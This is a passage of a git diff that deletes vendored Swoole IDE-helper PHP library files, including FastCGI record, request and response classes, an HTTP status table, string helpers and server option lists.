- { - return $this->params[static::convertHeaderNameToParamName($name)] ?? null; - } - - public function withHeader(string $name, string $value): self - { - $this->params[static::convertHeaderNameToParamName($name)] = $value; - return $this; - } - - public function withoutHeader(string $name): void - { - unset($this->params[static::convertHeaderNameToParamName($name)]); - } - - public function getHeaders(): array - { - $headers = []; - foreach ($this->params as $name => $value) { - if (strpos($name, 'HTTP_') === 0) { - $headers[static::convertParamNameToHeaderName($name)] = $value; - } - } - return $headers; - } - - public function withHeaders(array $headers): self - { - foreach ($headers as $name => $value) { - $this->withHeader($name, $value); - } - return $this; - } - - /** @return $this */ - public function withBody($body): Message - { - if (is_array($body)) { - $body = http_build_query($body); - $this->withContentType('application/x-www-form-urlencoded'); - } - parent::withBody($body); - return $this->withContentLength(strlen($body)); - } - - protected static function convertHeaderNameToParamName(string $name) - { - return 'HTTP_' . str_replace('-', '_', strtoupper($name)); - } - - protected static function convertParamNameToHeaderName(string $name) - { - return ucwords(str_replace('_', '-', substr($name, strlen('HTTP_'))), '-'); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php deleted file mode 100644 index 883ba9a..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/HttpResponse.php +++ /dev/null @@ -1,128 +0,0 @@ -getBody(); - if (strlen($body) === 0) { - return; - } - $array = explode("\r\n\r\n", $body, 2); // An array that contains the HTTP headers and the body. - if (count($array) != 2) { - $this->withStatusCode(Status::BAD_GATEWAY)->withReasonPhrase('Invalid FastCGI Response')->withError($body); - return; - } - $headers = explode("\r\n", $array[0]); - $body = $array[1]; - foreach ($headers as $header) { - $array = explode(':', $header, 2); // An array that contains the name and the value of an HTTP header. - if (count($array) != 2) { - continue; // Invalid HTTP header? Ignore it! - } - $name = trim($array[0]); - $value = trim($array[1]); - if (strcasecmp($name, 'Status') === 0) { - $array = explode(' ', $value, 2); // An array that contains the status code (and the reason phrase). - $statusCode = $array[0]; - $reasonPhrase = $array[1] ?? null; - } elseif (strcasecmp($name, 'Set-Cookie') === 0) { - $this->withSetCookieHeaderLine($value); - } else { - $this->withHeader($name, $value); - } - } - $statusCode = (int) ($statusCode ?? Status::OK); - $reasonPhrase = (string) ($reasonPhrase ?? Status::getReasonPhrase($statusCode)); - $this->withStatusCode($statusCode)->withReasonPhrase($reasonPhrase); - $this->withBody($body); - } - - public function getStatusCode(): int - { - return $this->statusCode; - } - - public function withStatusCode(int $statusCode): self - { - $this->statusCode = $statusCode; - return $this; - } - - public function getReasonPhrase(): string - { - return $this->reasonPhrase; - } - - public function withReasonPhrase(string $reasonPhrase): self - { - $this->reasonPhrase = $reasonPhrase; - return $this; - } - - public function getHeader(string $name): ?string - { - $name = $this->headersMap[strtolower($name)] ?? null; - return $name ? $this->headers[$name] : null; - } - - public function getHeaders(): array - { - return $this->headers; - } - - public function withHeader(string $name, string $value): self - { - $this->headers[$name] = $value; - $this->headersMap[strtolower($name)] = $name; - return $this; - } - - public function withHeaders(array $headers): self - { - foreach ($headers as $name => $value) { - $this->withHeader($name, $value); - } - return $this; - } - - public function getSetCookieHeaderLines(): array - { - return $this->setCookieHeaderLines; - } - - public function withSetCookieHeaderLine(string $value): self - { - $this->setCookieHeaderLines[] = $value; - return $this; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php deleted file mode 100644 index c9604c6..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Message.php +++ /dev/null @@ -1,80 +0,0 @@ -params[$name] ?? null; - } - - public function withParam(string $name, string $value): self - { - $this->params[$name] = $value; - return $this; - } - - public function withoutParam(string $name): self - { - unset($this->params[$name]); - return $this; - } - - public function getParams(): array - { - return $this->params; - } - - public function withParams(array $params): self - { - $this->params = $params; - return $this; - } - - public function withAddedParams(array $params): self - { - $this->params = $params + $this->params; - return $this; - } - - public function getBody(): string - { - return $this->body; - } - - public function withBody($body): self - { - $this->body = (string) $body; - return $this; - } - - public function getError(): string - { - return $this->error; - } - - public function withError(string $error): self - { - $this->error = $error; - return $this; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php deleted file mode 100644 index 050f3a3..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record.php +++ /dev/null @@ -1,232 +0,0 @@ -version, - $this->type, - $this->requestId, - $this->contentLength, - $this->paddingLength, - $this->reserved - ); - - $payloadPacket = $this->packPayload(); - $paddingPacket = pack("a{$this->paddingLength}", $this->paddingData); - - return $headerPacket . $payloadPacket . $paddingPacket; - } - - /** - * Unpacks the message from the binary data buffer - * - * @param string $data Binary buffer with raw data - * - * @return static - */ - final public static function unpack(string $data): self - { - $self = new static(); - [ - $self->version, - $self->type, - $self->requestId, - $self->contentLength, - $self->paddingLength, - $self->reserved - ] = array_values(unpack(FastCGI::HEADER_FORMAT, $data)); - - $payload = substr($data, FastCGI::HEADER_LEN); - self::unpackPayload($self, $payload); - if (get_called_class() !== __CLASS__ && $self->contentLength > 0) { - static::unpackPayload($self, $payload); - } - - return $self; - } - - /** - * Sets the content data and adjusts the length fields - * - * @return static - */ - public function setContentData(string $data): self - { - $this->contentLength = strlen($data); - if ($this->contentLength > FastCGI::MAX_CONTENT_LENGTH) { - $this->contentLength = FastCGI::MAX_CONTENT_LENGTH; - $this->contentData = substr($data, 0, FastCGI::MAX_CONTENT_LENGTH); - } else { - $this->contentData = $data; - } - $extraLength = $this->contentLength % 8; - $this->paddingLength = $extraLength ? (8 - $extraLength) : 0; - return $this; - } - - /** - * Returns the context data from the record - */ - public function getContentData(): string - { - return $this->contentData; - } - - /** - * Returns the version of record - */ - public function getVersion(): int - { - return $this->version; - } - - /** - * Returns record type - */ - public function getType(): int - { - return $this->type; - } - - /** - * Returns request ID - */ - public function getRequestId(): int - { - return $this->requestId; - } - - /** - * Sets request ID - * - * There should be only one unique ID for all active requests, - * use random number or preferably resetting auto-increment. - * - * @return static - */ - public function setRequestId(int $requestId): self - { - $this->requestId = $requestId; - return $this; - } - - /** - * Returns the size of content length - */ - final public function getContentLength(): int - { - return $this->contentLength; - } - - /** - * Returns the size of padding length - */ - final public function getPaddingLength(): int - { - return $this->paddingLength; - } - - /** - * Method to unpack the payload for the record. - * - * NB: Default implementation will be always called - * - * @param static $self Instance of current frame - * @param string $data Binary data - */ - protected static function unpackPayload($self, string $data): void - { - [ - $self->contentData, - $self->paddingData - ] = array_values( - unpack("a{$self->contentLength}contentData/a{$self->paddingLength}paddingData", $data) - ); - } - - /** - * Implementation of packing the payload - */ - protected function packPayload(): string - { - return pack("a{$this->contentLength}", $this->contentData); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php deleted file mode 100644 index 7a04dbd..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/AbortRequest.php +++ /dev/null @@ -1,27 +0,0 @@ -type = FastCGI::ABORT_REQUEST; - $this->setRequestId($requestId); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php deleted file mode 100644 index 15e2d13..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/BeginRequest.php +++ /dev/null @@ -1,113 +0,0 @@ -type = FastCGI::BEGIN_REQUEST; - $this->role = $role; - $this->flags = $flags; - $this->reserved1 = $reserved; - $this->setContentData($this->packPayload()); - } - - /** - * Returns the role - * - * The role component sets the role the Web server expects the application to play. - * The currently-defined roles are: - * FCGI_RESPONDER - * FCGI_AUTHORIZER - * FCGI_FILTER - */ - public function getRole(): int - { - return $this->role; - } - - /** - * Returns the flags - * - * The flags component contains a bit that controls connection shutdown. - * - * flags & FCGI_KEEP_CONN: - * If zero, the application closes the connection after responding to this request. - * If not zero, the application does not close the connection after responding to this request; - * the Web server retains responsibility for the connection. - */ - public function getFlags(): int - { - return $this->flags; - } - - /** - * {@inheritdoc} - * @param static $self - */ - protected static function unpackPayload($self, string $data): void - { - [ - $self->role, - $self->flags, - $self->reserved1 - ] = array_values(unpack('nrole/Cflags/a5reserved', $data)); - } - - /** {@inheritdoc} */ - protected function packPayload(): string - { - return pack( - 'nCa5', - $this->role, - $this->flags, - $this->reserved1 - ); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php deleted file mode 100644 index d7b7df3..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Data.php +++ /dev/null @@ -1,29 +0,0 @@ -type = FastCGI::DATA; - $this->setContentData($contentData); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php deleted file mode 100644 index a833024..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/EndRequest.php +++ /dev/null @@ -1,117 +0,0 @@ -type = FastCGI::END_REQUEST; - $this->protocolStatus = $protocolStatus; - $this->appStatus = $appStatus; - $this->reserved1 = $reserved; - $this->setContentData($this->packPayload()); - } - - /** - * Returns app status - * - * The appStatus component is an application-level status code. Each role documents its usage of appStatus. - */ - public function getAppStatus(): int - { - return $this->appStatus; - } - - /** - * Returns the protocol status - * - * The possible protocolStatus values are: - * FCGI_REQUEST_COMPLETE: normal end of request. - * FCGI_CANT_MPX_CONN: rejecting a new request. - * This happens when a Web server sends concurrent requests over one connection to an application that is - * designed to process one request at a time per connection. - * FCGI_OVERLOADED: rejecting a new request. - * This happens when the application runs out of some resource, e.g. database connections. - * FCGI_UNKNOWN_ROLE: rejecting a new request. - * This happens when the Web server has specified a role that is unknown to the application. - */ - public function getProtocolStatus(): int - { - return $this->protocolStatus; - } - - /** - * {@inheritdoc} - * @param static $self - */ - protected static function unpackPayload($self, string $data): void - { - [ - $self->appStatus, - $self->protocolStatus, - $self->reserved1 - ] = array_values(unpack('NappStatus/CprotocolStatus/a3reserved', $data)); - } - - /** {@inheritdoc} */ - protected function packPayload(): string - { - return pack( - 'NCa3', - $this->appStatus, - $this->protocolStatus, - $this->reserved1 - ); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php deleted file mode 100644 index e7c5965..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValues.php +++ /dev/null @@ -1,48 +0,0 @@ -type = FastCGI::GET_VALUES; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php deleted file mode 100644 index 225d8c1..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/GetValuesResult.php +++ /dev/null @@ -1,46 +0,0 @@ -type = FastCGI::GET_VALUES_RESULT; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php deleted file mode 100644 index f0c2b5c..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Params.php +++ /dev/null @@ -1,120 +0,0 @@ -type = FastCGI::PARAMS; - $this->values = $values; - $this->setContentData($this->packPayload()); - } - - /** - * Returns an associative list of parameters - */ - public function getValues(): array - { - return $this->values; - } - - /** - * {@inheritdoc} - * @param static $self - */ - protected static function unpackPayload($self, string $data): void - { - $currentOffset = 0; - do { - [$nameLengthHigh] = array_values(unpack('CnameLengthHigh', $data)); - $isLongName = ($nameLengthHigh >> 7 == 1); - $valueOffset = $isLongName ? 4 : 1; - - [$valueLengthHigh] = array_values(unpack('CvalueLengthHigh', substr($data, $valueOffset))); - $isLongValue = ($valueLengthHigh >> 7 == 1); - $dataOffset = $valueOffset + ($isLongValue ? 4 : 1); - - $formatParts = [ - $isLongName ? 'NnameLength' : 'CnameLength', - $isLongValue ? 'NvalueLength' : 'CvalueLength', - ]; - $format = join('/', $formatParts); - [$nameLength, $valueLength] = array_values(unpack($format, $data)); - - // Clear top bit for long record - $nameLength &= ($isLongName ? 0x7fffffff : 0x7f); - $valueLength &= ($isLongValue ? 0x7fffffff : 0x7f); - - [$nameData, $valueData] = array_values( - unpack( - "a{$nameLength}nameData/a{$valueLength}valueData", - substr($data, $dataOffset) - ) - ); - - $self->values[$nameData] = $valueData; - - $keyValueLength = $dataOffset + $nameLength + $valueLength; - $data = substr($data, $keyValueLength); - $currentOffset += $keyValueLength; - } while ($currentOffset < $self->getContentLength()); - } - - /** {@inheritdoc} */ - protected function packPayload(): string - { - $payload = ''; - foreach ($this->values as $nameData => $valueData) { - if ($valueData === null) { - continue; - } - $nameLength = strlen($nameData); - $valueLength = strlen((string) $valueData); - $isLongName = $nameLength > 127; - $isLongValue = $valueLength > 127; - $formatParts = [ - $isLongName ? 'N' : 'C', - $isLongValue ? 'N' : 'C', - "a{$nameLength}", - "a{$valueLength}", - ]; - $format = join('', $formatParts); - - $payload .= pack( - $format, - $isLongName ? ($nameLength | 0x80000000) : $nameLength, - $isLongValue ? ($valueLength | 0x80000000) : $valueLength, - $nameData, - $valueData - ); - } - - return $payload; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php deleted file mode 100644 index 72ef40e..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stderr.php +++ /dev/null @@ -1,29 +0,0 @@ -type = FastCGI::STDERR; - $this->setContentData($contentData); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php deleted file mode 100644 index 01b883b..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdin.php +++ /dev/null @@ -1,29 +0,0 @@ -type = FastCGI::STDIN; - $this->setContentData($contentData); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php deleted file mode 100644 index 41b2a7b..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/Stdout.php +++ /dev/null @@ -1,29 +0,0 @@ -type = FastCGI::STDOUT; - $this->setContentData($contentData); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php deleted file mode 100644 index ab502d6..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Record/UnknownType.php +++ /dev/null @@ -1,75 +0,0 @@ -type = FastCGI::UNKNOWN_TYPE; - $this->type1 = $type; - $this->reserved1 = $reserved; - $this->setContentData($this->packPayload()); - } - - /** - * Returns the unrecognized type - */ - public function getUnrecognizedType(): int - { - return $this->type1; - } - - /** - * {@inheritdoc} - * @param static $self - */ - public static function unpackPayload($self, string $data): void - { - [$self->type1, $self->reserved1] = array_values(unpack('Ctype/a7reserved', $data)); - } - - /** {@inheritdoc} */ - protected function packPayload(): string - { - return pack( - 'Ca7', - $this->type1, - $this->reserved1 - ); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php deleted file mode 100644 index ca50f11..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Request.php +++ /dev/null @@ -1,58 +0,0 @@ -getBody(); - $beginRequestFrame = new BeginRequest(FastCGI::RESPONDER, ($this->keepConn ? FastCGI::KEEP_CONN : 0)); - $paramsFrame = new Params($this->getParams()); - $paramsEofFrame = new Params(); - if (empty($body)) { - $message = "{$beginRequestFrame}{$paramsFrame}{$paramsEofFrame}}"; - } else { - $stdinList = []; - while (true) { - $stdinList[] = $stdin = new Stdin($body); - $stdinLength = $stdin->getContentLength(); - if ($stdinLength === strlen($body)) { - break; - } - $body = substr($body, $stdinLength); - } - $stdinList[] = new Stdin(); - $stdin = implode($stdinList); - $message = "{$beginRequestFrame}{$paramsFrame}{$paramsEofFrame}{$stdin}}"; - } - return $message; - } - - public function getKeepConn(): bool - { - return $this->keepConn; - } - - public function withKeepConn(bool $keepConn): self - { - $this->keepConn = $keepConn; - return $this; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php deleted file mode 100644 index 6345ed0..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/FastCGI/Response.php +++ /dev/null @@ -1,46 +0,0 @@ -getContentLength() > 0) { - $body .= $record->getContentData(); - } - } elseif ($record instanceof Stderr) { - if ($record->getContentLength() > 0) { - $error .= $record->getContentData(); - } - } - } - $this->withBody($body)->withError($error); - } - - public static function verify(array $records): bool - { - return !empty($records) && $records[count($records) - 1] instanceof EndRequest; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php deleted file mode 100644 index 6ba568e..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Http/Status.php +++ /dev/null @@ -1,211 +0,0 @@ - 'Continue', - self::SWITCHING_PROTOCOLS => 'Switching Protocols', - self::PROCESSING => 'Processing', - self::OK => 'OK', - self::CREATED => 'Created', - self::ACCEPTED => 'Accepted', - self::NON_AUTHORITATIVE_INFORMATION => 'Non-Authoritative Information', - self::NO_CONTENT => 'No Content', - self::RESET_CONTENT => 'Reset Content', - self::PARTIAL_CONTENT => 'Partial Content', - self::MULTI_STATUS => 'Multi-status', - self::ALREADY_REPORTED => 'Already Reported', - self::IM_USED => 'IM Used', - self::MULTIPLE_CHOICES => 'Multiple Choices', - self::MOVED_PERMANENTLY => 'Moved Permanently', - self::FOUND => 'Found', - self::SEE_OTHER => 'See Other', - self::NOT_MODIFIED => 'Not Modified', - self::USE_PROXY => 'Use Proxy', - self::SWITCH_PROXY => 'Switch Proxy', - self::TEMPORARY_REDIRECT => 'Temporary Redirect', - self::PERMANENT_REDIRECT => 'Permanent Redirect', - self::BAD_REQUEST => 'Bad Request', - self::UNAUTHORIZED => 'Unauthorized', - self::PAYMENT_REQUIRED => 'Payment Required', - self::FORBIDDEN => 'Forbidden', - self::NOT_FOUND => 'Not Found', - self::METHOD_NOT_ALLOWED => 'Method Not Allowed', - self::NOT_ACCEPTABLE => 'Not Acceptable', - self::PROXY_AUTHENTICATION_REQUIRED => 'Proxy Authentication Required', - self::REQUEST_TIME_OUT => 'Request Time-out', - self::CONFLICT => 'Conflict', - self::GONE => 'Gone', - self::LENGTH_REQUIRED => 'Length Required', - self::PRECONDITION_FAILED => 'Precondition Failed', - self::REQUEST_ENTITY_TOO_LARGE => 'Request Entity Too Large', - self::REQUEST_URI_TOO_LARGE => 'Request-URI Too Large', - self::UNSUPPORTED_MEDIA_TYPE => 'Unsupported Media Type', - self::REQUESTED_RANGE_NOT_SATISFIABLE => 'Requested range not satisfiable', - self::EXPECTATION_FAILED => 'Expectation Failed', - self::MISDIRECTED_REQUEST => 'Unprocessable Entity', - self::UNPROCESSABLE_ENTITY => 'Unprocessable Entity', - self::LOCKED => 'Locked', - self::FAILED_DEPENDENCY => 'Failed Dependency', - self::UNORDERED_COLLECTION => 'Unordered Collection', - self::UPGRADE_REQUIRED => 'Upgrade Required', - self::PRECONDITION_REQUIRED => 'Precondition Required', - self::TOO_MANY_REQUESTS => 'Too Many Requests', - self::REQUEST_HEADER_FIELDS_TOO_LARGE => 'Request Header Fields Too Large', - self::UNAVAILABLE_FOR_LEGAL_REASONS => 'Unavailable For Legal Reasons', - self::INTERNAL_SERVER_ERROR => 'Internal Server Error', - self::NOT_IMPLEMENTED => 'Not Implemented', - self::BAD_GATEWAY => 'Bad Gateway', - self::SERVICE_UNAVAILABLE => 'Service Unavailable', - self::GATEWAY_TIME_OUT => 'Gateway Time-out', - self::HTTP_VERSION_NOT_SUPPORTED => 'HTTP Version not supported', - self::VARIANT_ALSO_NEGOTIATES => 'Variant Also Negotiates', - self::INSUFFICIENT_STORAGE => 'Insufficient Storage', - self::LOOP_DETECTED => 'Loop Detected', - self::NOT_EXTENDED => 'Not Extended', - self::NETWORK_AUTHENTICATION_REQUIRED => 'Network Authentication Required', - ]; - - public static function getReasonPhrases(): array - { - return static::$reasonPhrases; - } - - public static function getReasonPhrase(int $value): string - { - return static::$reasonPhrases[$value] ?? 'Unknown'; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php deleted file mode 100644 index e45b847..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/MultibyteStringObject.php +++ /dev/null @@ -1,73 +0,0 @@ -string); - } - - /** - * @return false|int - */ - public function indexOf(string $needle, int $offset = 0, ?string $encoding = null) - { - return mb_strpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function lastIndexOf(string $needle, int $offset = 0, ?string $encoding = null) - { - return mb_strrpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function pos(string $needle, int $offset = 0, ?string $encoding = null) - { - return mb_strpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function rpos(string $needle, int $offset = 0, ?string $encoding = null) - { - return mb_strrpos($this->string, ...func_get_args()); - } - - /** - * @return false|int - */ - public function ipos(string $needle, ?string $encoding = null) - { - return mb_stripos($this->string, ...func_get_args()); - } - - /** - * @return static - */ - public function substr(int $offset, ?int $length = null, ?string $encoding = null) - { - return new static(mb_substr($this->string, ...func_get_args())); - } - - public function chunk(int $splitLength = 1, ?int $limit = null): ArrayObject - { - return static::detectArrayType(mb_split($this->string, ...func_get_args())); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php deleted file mode 100644 index f47545e..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/ObjectProxy.php +++ /dev/null @@ -1,65 +0,0 @@ -__object = $object; - } - - public function __getObject() - { - return $this->__object; - } - - public function __get(string $name) - { - return $this->__object->{$name}; - } - - public function __set(string $name, $value): void - { - $this->__object->{$name} = $value; - } - - public function __isset($name) - { - return isset($this->__object->{$name}); - } - - public function __unset(string $name): void - { - unset($this->__object->{$name}); - } - - public function __call(string $name, array $arguments) - { - return $this->__object->{$name}(...$arguments); - } - - public function __invoke(...$arguments) - { - /** @var mixed $object */ - $object = $this->__object; - return $object(...$arguments); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php deleted file mode 100644 index 112e988..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Process/Manager.php +++ /dev/null @@ -1,95 +0,0 @@ -setIPCType($ipcType)->setMsgQueueKey($msgQueueKey); - } - - public function add(callable $func, bool $enableCoroutine = false): self - { - $this->addBatch(1, $func, $enableCoroutine); - return $this; - } - - public function addBatch(int $workerNum, callable $func, bool $enableCoroutine = false): self - { - for ($i = 0; $i < $workerNum; $i++) { - $this->startFuncMap[] = [$func, $enableCoroutine]; - } - return $this; - } - - public function start(): void - { - $this->pool = new Pool(count($this->startFuncMap), $this->ipcType, $this->msgQueueKey, false); - - $this->pool->on(Constant::EVENT_WORKER_START, function (Pool $pool, int $workerId) { - [$func, $enableCoroutine] = $this->startFuncMap[$workerId]; - if ($enableCoroutine) { - run($func, $pool, $workerId); - } else { - $func($pool, $workerId); - } - }); - - $this->pool->start(); - } - - public function setIPCType(int $ipcType): self - { - $this->ipcType = $ipcType; - return $this; - } - - public function getIPCType(): int - { - return $this->ipcType; - } - - public function setMsgQueueKey(int $msgQueueKey): self - { - $this->msgQueueKey = $msgQueueKey; - return $this; - } - - public function getMsgQueueKey(): int - { - return $this->msgQueueKey; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php deleted file mode 100644 index 57f3792..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Server/Helper.php +++ /dev/null @@ -1,192 +0,0 @@ - true, - 'trace_flags' => true, - 'log_file' => true, - 'log_level' => true, - 'log_date_format' => true, - 'log_date_with_microseconds' => true, - 'log_rotation' => true, - 'display_errors' => true, - 'dns_server' => true, - 'socket_dns_timeout' => true, - 'socket_connect_timeout' => true, - 'socket_write_timeout' => true, - 'socket_send_timeout' => true, - 'socket_read_timeout' => true, - 'socket_recv_timeout' => true, - 'socket_buffer_size' => true, - 'socket_timeout' => true, - ]; - - const SERVER_OPTIONS = [ - 'chroot' => true, - 'user' => true, - 'group' => true, - 'daemonize' => true, - 'pid_file' => true, - 'reactor_num' => true, - 'single_thread' => true, - 'worker_num' => true, - 'max_wait_time' => true, - 'max_queued_bytes' => true, - 'enable_coroutine' => true, - 'max_coro_num' => true, - 'max_coroutine' => true, - 'hook_flags' => true, - 'send_timeout' => true, - 'dispatch_mode' => true, - 'send_yield' => true, - 'dispatch_func' => true, - 'discard_timeout_request' => true, - 'enable_unsafe_event' => true, - 'enable_delay_receive' => true, - 'enable_reuse_port' => true, - 'task_use_object' => true, - 'task_enable_coroutine' => true, - 'task_worker_num' => true, - 'task_ipc_mode' => true, - 'task_tmpdir' => true, - 'task_max_request' => true, - 'task_max_request_grace' => true, - 'max_connection' => true, - 'max_conn' => true, - 'heartbeat_check_interval' => true, - 'heartbeat_idle_time' => true, - 'max_request' => true, - 'max_request_grace' => true, - 'reload_async' => true, - 'open_cpu_affinity' => true, - 'cpu_affinity_ignore' => true, - 'http_parse_cookie' => true, - 'http_parse_post' => true, - 'http_parse_files' => true, - 'http_compression' => true, - 'http_compression_level' => true, - 'http_gzip_level' => true, - 'websocket_compression' => true, - 'upload_tmp_dir' => true, - 'enable_static_handler' => true, - 'document_root' => true, - 'http_autoindex' => true, - 'http_index_files' => true, - 'static_handler_locations' => true, - 'input_buffer_size' => true, - 'buffer_input_size' => true, - 'output_buffer_size' => true, - 'buffer_output_size' => true, - 'message_queue_key' => true, - ]; - - const PORT_OPTIONS = [ - 'backlog' => true, - 'socket_buffer_size' => true, - 'kernel_socket_recv_buffer_size' => true, - 'kernel_socket_send_buffer_size' => true, - 'buffer_high_watermark' => true, - 'buffer_low_watermark' => true, - 'open_tcp_nodelay' => true, - 'tcp_defer_accept' => true, - 'open_tcp_keepalive' => true, - 'open_eof_check' => true, - 'open_eof_split' => true, - 'package_eof' => true, - 'open_http_protocol' => true, - 'open_websocket_protocol' => true, - 'websocket_subprotocol' => true, - 'open_websocket_close_frame' => true, - 'open_websocket_ping_frame' => true, - 'open_websocket_pong_frame' => true, - 'open_http2_protocol' => true, - 'open_mqtt_protocol' => true, - 'open_redis_protocol' => true, - 'max_idle_time' => true, - 'tcp_keepidle' => true, - 'tcp_keepinterval' => true, - 'tcp_keepcount' => true, - 'tcp_user_timeout' => true, - 'tcp_fastopen' => true, - 'open_length_check' => true, - 'package_length_type' => true, - 'package_length_offset' => true, - 'package_body_offset' => true, - 'package_body_start' => true, - 'package_length_func' => true, - 'package_max_length' => true, - 'ssl_cert_file' => true, - 'ssl_key_file' => true, - 'ssl_compress' => true, - 'ssl_protocols' => true, - 'ssl_verify_peer' => true, - 'ssl_allow_self_signed' => true, - 'ssl_client_cert_file' => true, - 'ssl_verify_depth' => true, - 'ssl_prefer_server_ciphers' => true, - 'ssl_ciphers' => true, - 'ssl_ecdh_curve' => true, - 'ssl_dhparam' => true, - ]; - - const HELPER_OPTIONS = [ - 'stats_file' => true, - ]; - - public static function checkOptions(array $input_options) - { - $const_options = self::GLOBAL_OPTIONS + self::SERVER_OPTIONS + self::PORT_OPTIONS + self::HELPER_OPTIONS; - - foreach ($input_options as $k => $v) { - if (!array_key_exists(strtolower($k), $const_options)) { - //TODO throw exception - trigger_error("unsupported option [{$k}]", E_USER_WARNING); - debug_print_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); - } - } - } - - public static function onWorkerStart(Server $server, int $workerId) - { - if (!empty($server->setting['stats_file']) and $workerId == 0) { - $server->stats_timer = Timer::tick(self::STATS_TIMER_INTERVAL_TIME, function () use ($server) { - $stats = $server->stats(); - $lines = []; - foreach ($stats as $k => $v) { - $lines[] = "{$k}: {$v}"; - } - $out = implode("\n", $lines); - file_put_contents($server->setting['stats_file'], $out); - }); - } - } - - public static function onWorkerExit(Server $server, int $workerId) - { - if ($server->stats_timer) { - Timer::clear($server->stats_timer); - $server->stats_timer = null; - } - } - - public static function onWorkerStop(Server $server, int $workerId) - { - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/StringObject.php deleted file mode 